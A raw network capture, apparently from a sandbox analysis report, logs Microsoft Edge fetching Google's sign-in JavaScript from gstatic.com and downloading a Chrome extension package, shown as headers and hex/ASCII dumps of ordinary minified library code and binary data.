Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49819	142.250.80.99	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:24 UTC	1045	OUT	GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_GB.N1bNysriJnk.es5.O/am=BB0MYXQbgUA8nAM9QCkQMgAAAAAAAAAAaAMAAJgB/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlEjXkpY1miL806lUCCtQlrHu-H96g/m=_b,_tp HTTP/1.1 Host: www.gstatic.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.150" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:24 UTC	934	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding, Origin Content-Type: text/javascript; charset=UTF-8 Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/boq-infra/identity-boq-js-css-signers Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="boq-infra/identity-boq-js-css-signers" Report-To: {"group":"boq-infra/identity-boq-js-css-signers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/boq-infra/identity-boq-js-css-signers"}]} Content-Length: 239803 Date: Fri, 26 Jul 2024 08:37:24 GMT Expires: Sat, 26 Jul 2025 08:37:24 GMT Cache-Control: public, immutable, max-age=31536000 Last-Modified: Wed, 24 Jul 2024 00:32:35 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 08:37:24 UTC	456	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 53 69 67 6e 49 6e 55 69 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 53 69 67 6e 49 6e 55 69 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f Data Ascii: "use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 47 6f 6f 67 6c 65 2c 20 49 6e 63 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 4d 49 54 0a 2a 2f 0a 76 61 72 20 62 61 61 2c 64 61 61 2c 67 61 61 2c 6c 61 61 2c 6f 61 61 2c 63 62 2c 64 62 2c 67 62 2c 4a 62 2c 4c 62 2c 4d 62 2c 79 61 61 2c 7a 61 61 2c 4e 62 2c 41 61 61 2c 42 61 61 2c 43 61 61 2c 52 62 2c 57 62 2c 47 61 61 2c 49 61 61 2c 4b 61 61 2c 4f 61 61 2c 24 62 2c 61 63 2c 51 61 61 2c 52 61 61 2c 56 61 61 2c 63 62 61 2c 64 62 61 2c 68 62 61 2c 6b 62 61 2c 65 62 61 2c 6a 62 61 2c 69 62 61 2c 67 62 61 2c 66 62 61 2c 6c 62 61 2c 76 63 2c 71 62 61 2c 72 62 61 2c Data Ascii: License-Identifier: Apache-2.0// Copyright 2024 Google, Inc SPDX-License-Identifier: MIT*/var baa,daa,gaa,laa,oaa,cb,db,gb,Jb,Lb,Mb,yaa,zaa,Nb,Aaa,Baa,Caa,Rb,Wb,Gaa,Iaa,Kaa,Oaa,$b,ac,Qaa,Raa,Vaa,cba,dba,hba,kba,eba,jba,iba,gba,fba,lba,vc,qba,rba,
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 7b 62 3d 5f 2e 71 61 28 61 2c 62 2c 63 29 3b 72 65 74 75 72 6e 20 62 3c 30 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 61 2e 63 68 61 72 41 74 28 62 29 3a 61 5b 62 5d 7d 3b 0a 5f 2e 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 61 2e 6c 65 6e 67 74 68 2c 65 3d 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 69 66 28 66 20 69 6e 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 29 72 65 74 75 72 6e 20 66 3b 72 65 74 75 72 6e 2d 31 7d 3b 5f 2e 74 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 28 30 2c 5f 2e 73 61 29 28 61 2c 62 29 3e 3d 30 7d 3b 5f 2e 78 61 3d Data Ascii: {b=_.qa(a,b,c);return b<0?null:typeof a==="string"?a.charAt(b):a[b]};_.qa=function(a,b,c){for(var d=a.length,e=typeof a==="string"?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return f;return-1};_.ta=function(a,b){return(0,_.sa)(a,b)>=0};_.xa=
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 75 72 6e 20 61 3d 3d 3d 62 7d 3b 5f 2e 65 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 28 30 2c 5f 2e 4e 61 29 28 61 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 65 29 7b 63 5b 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 64 2c 65 2c 61 29 5d 3d 64 7d 29 3b 72 65 74 75 72 6e 20 63 7d 3b 0a 67 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 4f 61 3f 61 28 5f 2e 4f 61 29 3a 66 61 61 2e 70 75 73 68 28 61 29 7d 3b 5f 2e 53 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 5f 2e 4f 61 26 26 5f 2e 51 61 26 26 5f 2e 68 61 61 28 28 30 2c 5f 2e 51 61 29 28 29 29 3b 72 65 74 75 72 6e 20 5f 2e 4f 61 7d 3b 5f 2e 68 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 4f 61 3d 61 3b 66 61 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b Data Ascii: urn a===b};_.eaa=function(a,b){var c={};(0,_.Na)(a,function(d,e){c[b.call(void 0,d,e,a)]=d});return c};gaa=function(a){_.Oa?a(_.Oa):faa.push(a)};_.Sa=function(){!_.Oa&&_.Qa&&_.haa((0,_.Qa)());return _.Oa};_.haa=function(a){_.Oa=a;faa.forEach(function(b){
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 6e 28 61 29 7b 72 65 74 75 72 6e 7b 76 61 6c 75 65 4f 66 3a 61 7d 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 64 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 60 22 29 3d 3d 3d 2d 31 7d 3b 0a 5f 2e 66 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 65 62 29 72 65 74 75 72 6e 20 61 2e 61 61 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 47 22 29 3b 7d 3b 67 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 70 61 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 61 2b 22 3a 22 7d 29 7d 3b Data Ascii: n(a){return{valueOf:a}.valueOf()};db=function(a){return a.toString().indexOf("`")===-1};_.fb=function(a){if(a instanceof _.eb)return a.aa;throw Error("G");};gb=function(a){return new paa(function(b){return b.substr(0,a.length+1).toLowerCase()===a+":"})};
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 75 6c 74 56 69 65 77 7c 7c 77 69 6e 64 6f 77 29 3b 62 26 26 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 2c 62 29 7d 3b 5f 2e 41 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 73 72 63 3d 5f 2e 7a 62 28 62 29 3b 5f 2e 79 62 28 61 29 7d 3b 5f 2e 42 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 5f 2e 69 62 28 62 29 3b 62 21 3d 3d 76 6f 69 64 20 30 26 26 28 61 2e 68 72 65 66 3d 62 29 7d 3b 5f 2e 43 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 5f 2e 69 62 28 62 29 3b 62 21 3d 3d 76 6f 69 64 20 30 26 26 61 2e 72 65 70 6c 61 63 65 28 62 29 7d 3b 0a 5f 2e 44 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 5f 2e 65 61 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 Data Ascii: ultView\|\|window);b&&a.setAttribute("nonce",b)};_.Ab=function(a,b){a.src=_.zb(b);_.yb(a)};_.Bb=function(a,b){b=_.ib(b);b!==void 0&&(a.href=b)};_.Cb=function(a,b){b=_.ib(b);b!==void 0&&a.replace(b)};_.Db=function(){var a=_.ea.navigator;return a&&(a=a.userA
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 37 2e 30 22 3a 61 3d 22 31 31 2e 30 22 7d 65 6c 73 65 20 61 3d 22 37 2e 30 22 3b 65 6c 73 65 20 61 3d 63 5b 31 5d 3b 62 3d 61 7d 65 6c 73 65 20 62 3d 22 22 3b 72 65 74 75 72 6e 20 62 7d 76 61 72 20 64 3d 52 65 67 45 78 70 28 22 28 5b 41 2d 5a 5d 5b 5c 5c 77 20 5d 2b 29 2f 28 5b 5e 5c 5c 73 5d 2b 29 5c 5c 73 2a 28 3f 3a 5c 5c 28 28 2e 2a 3f 29 5c 5c 29 29 3f 22 2c 22 67 22 29 3b 63 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 65 3b 65 Data Ascii: "7.0")if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;case "7.0":a="11.0"}else a="7.0";else a=c[1];b=a}else b="";return b}var d=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s(?:\$(.?)\$)?","g");c=[];for(var e;e
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 22 43 68 72 6f 6d 65 20 4f 53 22 3a 5f 2e 4b 62 28 22 43 72 4f 53 22 29 7d 3b 57 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 4e 22 29 3b 7d 3b 47 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 62 29 3b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 62 3a 61 2b 62 7d 3b 0a 49 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 48 61 61 29 72 65 74 75 72 6e 20 5f 2e 58 62 28 61 29 3b 66 6f 72 28 76 61 72 20 62 3d 22 22 2c 63 3d 30 2c 64 3d 61 2e 6c 65 6e 67 74 68 2d 31 30 32 34 30 3b 63 3c 64 3b 29 62 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2e 61 70 70 6c 79 28 Data Ascii: .platform==="Chrome OS":_.Kb("CrOS")};Wb=function(){throw Error("N");};Gaa=function(a,b){b=String.fromCharCode.apply(null,b);return a==null?b:a+b};Iaa=function(a){if(!Haa)return _.Xb(a);for(var b="",c=0,d=a.length-10240;c<d;)b+=String.fromCharCode.apply(
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 20 69 66 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 29 61 3d 61 3f 6e 65 77 20 5f 2e 6a 63 28 61 2c 5f 2e 6b 63 29 3a 5f 2e 69 63 28 29 3b 65 6c 73 65 20 69 66 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 21 3d 3d 5f 2e 6a 63 29 69 66 28 5f 2e 5a 62 28 61 29 29 61 3d 61 2e 6c 65 6e 67 74 68 3f 6e 65 77 20 5f 2e 6a 63 28 64 3f 61 3a 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 61 29 2c 5f 2e 6b 63 29 3a 5f 2e 69 63 28 29 3b 65 6c 73 65 7b 69 66 28 21 62 29 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 61 3d 76 6f 69 64 20 30 7d 72 65 74 75 72 6e 20 61 7d 3b 0a 5f 2e 57 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 21 61 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 3f 61 2e 69 6e 63 6c 75 64 65 73 28 62 29 3a Data Ascii: if(typeof a==="string")a=a?new _.jc(a,_.kc):_.ic();else if(a.constructor!==_.jc)if(_.Zb(a))a=a.length?new _.jc(d?a:new Uint8Array(a),_.kc):_.ic();else{if(!b)throw Error();a=void 0}return a};_.Waa=function(a,b){return!!a&&(Array.isArray(a)?a.includes(b):
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 29 3b 69 66 28 64 29 7b 74 3d 6c 3b 76 3d 67 3b 7a 3d 72 3b 78 3d 70 3b 66 6f 72 28 76 61 72 20 48 20 69 6e 20 64 29 64 3d 2b 48 2c 69 73 4e 61 4e 28 64 29 7c 7c 0a 64 3e 3d 31 30 32 34 7c 7c 28 74 2d 2d 2c 78 2b 2b 2c 7a 2d 3d 48 2e 6c 65 6e 67 74 68 2c 67 3d 65 28 64 2c 78 29 2b 66 28 74 2c 76 2c 7a 29 2c 67 3c 71 26 26 28 61 3d 31 2b 64 2c 71 3d 67 29 29 7d 72 65 74 75 72 6e 20 61 7d 3b 6a 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 63 2b 61 2a 33 2b 28 61 3e 31 3f 61 2d 31 3a 30 29 7d 3b 69 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 28 61 3e 31 3f 61 2d 31 3a 30 29 2b 28 61 2d 62 29 2a 34 7d 3b 67 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 30 3f 30 3a 39 Data Ascii: );if(d){t=l;v=g;z=r;x=p;for(var H in d)d=+H,isNaN(d)\|\|d>=1024\|\|(t--,x++,z-=H.length,g=e(d,x)+f(t,v,z),g<q&&(a=1+d,q=g))}return a};jba=function(a,b,c){return c+a3+(a>1?a-1:0)};iba=function(a,b){return(a>1?a-1:0)+(a-b)4};gba=function(a,b){return a==0?0:9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49818	142.250.81.225	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:24 UTC	594	OUT	GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:24 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135751 X-GUploader-UploadID: AHxI1nP9Pt2WylUKqWAX7pJ4ghBo3NUuXXJejH9JT-QYq0Hmo8AXW5PdDkIG0n80xE2Vot5xb9A X-Goog-Hash: crc32c=IDdmTg== Server: UploadServer Date: Thu, 25 Jul 2024 15:56:45 GMT Expires: Fri, 25 Jul 2025 15:56:45 GMT Cache-Control: public, max-age=31536000 Age: 60039 Last-Modified: Tue, 23 Jul 2024 15:56:28 GMT ETag: 1d368626_ddaec042_86665b6c_28d780a0_b2065016 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 08:37:24 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e8 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: cb 30 5e ae fd 8f bf fc 18 3f ab aa ce 6f f5 9f 86 ea f3 4f e7 8b aa 7e fc f9 c7 ed f2 de 57 f2 ef e5 b5 1f ab 7e fc f1 97 7f fc 18 f2 a7 ba e6 52 7f be 7a 86 4d 61 da 86 e0 b6 91 9a 75 5d 9a b5 2a 9f 87 2d b7 6e 97 ac 9b be 32 73 3c 97 a6 da 8a e4 b0 45 fb 9f 36 ba 3c 2e c2 57 bd 48 91 71 68 ae 17 fd f9 3a 6a a8 79 f8 fe f7 4e dd 44 1a 5d 4e 6a fc f5 d0 bb b5 f4 df 2f a7 cb 61 8a 9a f7 7b e9 db fd f7 67 ca ce f9 92 d0 b9 66 29 ba 7e 7f 5f 98 88 8b a7 31 71 fe fe 4c da 11 23 06 47 da 8d 8d f0 51 97 77 14 c8 99 1d 4a 10 22 04 c4 8e 74 e1 33 0f c2 4d e5 0b 5b 3c 43 e7 18 dc 2e a5 0f 8d 7c 77 d8 1e 94 73 2b 4c 54 17 3e 9b 8f 26 ec 8e 26 50 a5 85 6a 61 ea eb 6e 98 0b 73 73 39 ee c2 67 61 3a ff 1e e7 f7 b3 85 53 ee a9 9e 59 f5 3e 81 0c 1d b9 f8 4a 3a 06 39 87 Data Ascii: 0^?oO~W~RzMau]*-n2s<E6<.WHqh:jyND]Nj/a{gf)~_1qL#GQwJ"t3M[<C.\|ws+LT>&&Pjanss9ga:SY>J:9
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: fb 44 b0 b4 75 cd a2 45 f6 da fb af bc 3f ce 66 36 89 54 f7 7b 85 4d 64 18 16 65 30 97 1e f2 8b 3d 8c f3 00 e1 48 79 96 ec ea 1d f6 a0 d6 80 10 97 4f 10 60 43 7e 2d de bf 3f ac f5 dc 1b 32 87 63 d4 2b 25 8c c9 3d 52 f4 88 e8 d8 51 25 77 c5 5e 7a c9 5e 86 25 15 31 06 d8 2d 7b ad d1 54 eb 11 a3 53 14 2c cf 7d f9 ff d0 e0 b2 c1 43 66 d4 4a 06 e2 33 37 55 9a 78 d1 48 02 d7 8b 1b d1 0b 33 cc 70 a7 4b c1 72 2f c2 13 19 ed c4 5b a9 a0 8b 4d b9 59 5e 7b 72 2d ff 51 fb dc 0d f6 85 87 e6 ba 95 5e 68 12 00 3b 14 08 91 1b c3 91 cc 5a 03 7c cc a3 e0 a7 19 9b 8f 07 0b 70 9c 51 bc af ba f7 c7 22 7f 6b ed da 1b 3c a4 60 9b 5a c3 ab 54 de 7c 82 75 4b 00 a2 d8 aa 43 9d 31 12 d1 82 59 67 1d aa fb 81 1f 1b e0 15 11 e5 97 16 34 8b 65 ef 77 cd 57 b2 c7 ad ba 65 8d f2 aa de 35 Data Ascii: DuE?f6T{Mde0=HyO`C~-?2c+%=RQ%w^z^%1-{TS,}CfJ37UxH3pKr/[MY^{r-Q^h;Z\|pQ"k<`ZT\|uKC1Yg4ewWe5
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: a3 3a 66 63 2b dc 55 dd f4 76 4a 8c 67 19 c8 cf dc c0 a9 f6 5c fb 04 0e 30 9f 45 2b 3a 9d 3b 96 d8 5b 6e bd d6 e7 9c e8 c6 a6 3c ec 04 3f 00 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 3b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 ae cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee a5 e4 ce 91 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 9e cc c8 00 69 5f 40 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 81 37 09 f8 6e 89 76 d0 cc c3 9e ed f1 98 74 e8 44 3c ad 43 b4 7d 7c ef 37 12 7f b8 65 96 f8 5e 7f 6d d6 87 cf c8 3f 3c ff 0f fe 46 0a 5c ba b6 fe 19 70 0e 32 75 0d ee 8d af b1 e1 04 85 42 3c 9e 59 9b c0 78 a6 b0 b5 39 1f b7 d1 de cd 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b d9 73 15 d6 f9 35 bc c7 cd bb 1d 79 b6 97 eb f1 e5 7e 9d 14 50 5d 28 7c 07 9c Data Ascii: :fc+UvJg\0E+:;[n<?jOpD1;j=h&U?%h@Q6PlNf"wi_@b \b\|wt7nvtD<C}\|7e^m?<F\p2uB<Yx9"AI3\[s5y~P](\|
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: f4 82 39 aa e0 7a ec d0 f9 66 30 94 41 fc df ee db 1c a9 13 e6 2d 30 13 82 a1 ce 12 31 7d 82 53 e2 83 47 45 59 27 58 b8 8f 29 06 91 69 cf 5a f8 cc 88 c6 0f 64 a8 24 03 ce ef 34 a6 34 d9 53 76 aa d1 f7 b6 0a 2b fc d4 75 76 ce 3a 75 4f 2d 57 df f3 bf de ff fb dd 66 83 81 23 92 f4 b0 c9 4d 75 c1 14 7c 9e f8 b8 ab 3c 75 20 0d 34 51 a3 0e b9 57 8f 5c c9 54 10 9d 35 cc 9b 85 ba 8d ce d3 40 ea df eb f4 bd c6 2c 8d bf 7f cb f8 66 fe ef 5a ba 1d ba 7f 9e b7 3c ff e1 39 cb 7f 7d 77 90 3e 1b 53 53 b5 ff 3a 2b 59 eb 1a b5 ef 9a f3 97 e0 e3 a3 e0 8e ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d7 9f b9 df 5e fe f7 bb 96 ae e7 1e 0d df 6b e7 fb 2c e6 b1 79 7f 1c 1b ef fb ff 1f ba be 0c 5d 77 5f 05 74 4c cd 62 ce b9 d6 b7 e6 3a 9d e3 7f 1f 1a cd c7 fb 67 75 fb f1 97 bf fe Data Ascii: 9zf0A-01}SGEY'X)iZd$44Sv+uv:uO-Wf#Mu\|<u 4QW\T5@,fZ<9}w>SS:+YL^tVtW^k,y]w_tLb:gu
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: ad 33 4d c7 0c 67 6e 81 d6 1e 0c 0b 79 e1 e5 4a 9e 81 e8 0e 6d e9 ca e1 60 fa 07 7f fa d2 b1 1f f7 7b ac 3f 4a 13 55 ac f1 4c 7f 94 cf f0 fa f1 b6 7e 2d 9f 5f f6 86 cc fe f1 ec 09 fd 70 24 26 57 1c cf 8f 61 96 f1 4e 24 37 5b 2c f1 37 09 ff 3e 8d 4e e3 76 3b 30 89 99 dc ba 80 99 fa f5 86 7a ab 17 00 10 99 70 d6 78 75 3f ec 5d 26 c0 29 73 23 b1 4d 01 b1 bd 85 22 65 c6 ae 4d 05 29 bb 19 a4 97 d3 26 50 39 76 5a 02 7b 3b 5c cd 19 16 9a 34 6a ca 98 31 83 a3 30 c0 8d 8b 90 69 14 2e 18 a7 11 fc 43 a4 1b 50 25 a6 9a b3 38 b3 01 a7 ed 89 86 13 1f da e6 66 69 88 9b 9b cb a3 0e 88 10 49 34 ac c5 ac 87 cc 0e df 3a 83 59 3f 4a c7 9a 9c 4a 52 22 4a 73 50 10 93 5b 04 26 5d e4 1b 03 5e 57 1d b5 9f 07 15 ea 11 56 a2 32 1c 57 08 4b 8e 3a dd 14 09 a5 9a 54 87 09 2c df 70 99 Data Ascii: 3MgnyJm`{?JUL~-_p$&WaN$7[,7>Nv;0zpxu?]&)s#M"eM)&P9vZ{;\4j10i.CP%8fiI4:Y?JJR"JsP[&]^WV2WK:T,p
